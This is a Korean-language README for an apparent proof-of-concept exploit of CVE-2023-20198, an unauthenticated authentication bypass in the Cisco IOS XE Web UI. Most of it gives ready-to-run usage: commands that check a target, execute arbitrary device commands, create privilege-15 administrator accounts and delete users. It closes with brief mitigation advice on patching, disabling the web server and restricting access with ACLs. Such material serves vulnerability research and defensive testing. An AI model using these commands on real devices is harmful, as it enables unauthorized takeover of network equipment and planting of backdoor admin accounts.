
CVE-2023-20198에 대한 개념 증명 익스플로잇, Cisco IOS XE Web UI에 영향을 미치는 인증 우회 취약점
이 저장소는 Cisco IOS XE Web UI에 영향을 미치는 인증 우회 취약점인 CVE-2023-20198에 대한 개념 증명 익스플로잇을 포함하고 있습니다.
이 취약점을 통해 인증되지 않은 공격자는 조작된 SOAP 요청을 사용하여 취약한 Cisco 장치에서 임의의 명령을 실행할 수 있으며, 원격 명령 실행 및 관리자 사용자 생성/삭제를 포함한 전체 장치 장악으로 이어질 수 있습니다.
CVE: CVE-2023-20198
영향을 받는 제품: Cisco IOS XE (Web UI / WSMA 인터페이스)
영향:
공격 경로: 네트워크 (HTTP/HTTPS)
필요 권한: 없음 (인증되지 않음)
이 취약점은 Web Services Management Agent (WSMA) 엔드포인트의 부적절한 인증 처리로 인해 발생하며, 공격자가 조작된 HTTP 요청을 사용하여 인증을 우회할 수 있게 합니다.
requestscolorama의존성 설치:
pip install -r requirements.txt
usage: main.py [-h] -t TARGET [-c] [-C CMD] [-a] [-d] [-u USERNAME] [-p PASSWORD]
Authentication Bypass Exploit for Cisco IOS XE Devices (CVE-2023-20198)
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target Cisco IOS XE Device
-c, --check Check if the Target is vulnerable to CVE-2023-20198
-C CMD, --cmd CMD Cisco IOS XE Command to Execute
-a, --add Add New Username and Password
-d, --delete Delete existing User
-u USERNAME, --username USERNAME
Username for Account Creation
-p PASSWORD, --password PASSWORD
Password for Account Creation (Random Password Generated if not Provided)

대상이 취약한지 확인:
python3 exploit.py -t https://<TARGET-IP> -c

취약한 경우, 도구는 악용 가능한 WSMA 엔드포인트를 자동으로 감지하고 장치 세부 정보를 표시합니다.
취약한 장치에서 명령 실행:
python3 exploit.py -t https://<TARGET-IP> -C "<COMMAND>"
예시:
python3 exploit.py -t https://<TARGET-IP> -C "show running | include username"

새로운 privilege 15 관리자 사용자 생성:
python3 exploit.py -t https://<TARGET-IP> -a -u cisco -p kaptaan

비밀번호를 제공하지 않으면 스크립트가 임의의 보안 비밀번호를 자동으로 생성합니다.
새로 생성된 계정으로 장치의 Web UI에 접근할 수 있습니다.

기존 사용자 삭제:
python3 exploit.py -t https://<TARGET-IP> -d -u cisco

Cisco IOS XE를 최신 패치 버전으로 업그레이드
필요하지 않으면 Web UI 비활성화:
no ip http server
no ip http secure-server
ACL을 통해 관리 접근 제한
| 옵션 | 설명 |
|---|
-t, --target | 대상 Cisco IOS XE 장치 (필수) |
-c, --check | 대상이 취약한지 확인 |
-C, --cmd | Cisco IOS XE 명령 실행 |
-a, --add | 새 관리 사용자 추가 |
-d, --delete | 기존 사용자 삭제 |
-u, --username | 계정 생성/삭제에 사용할 사용자 이름 |
-p, --password | 새 계정의 비밀번호 (제공하지 않으면 자동 생성) |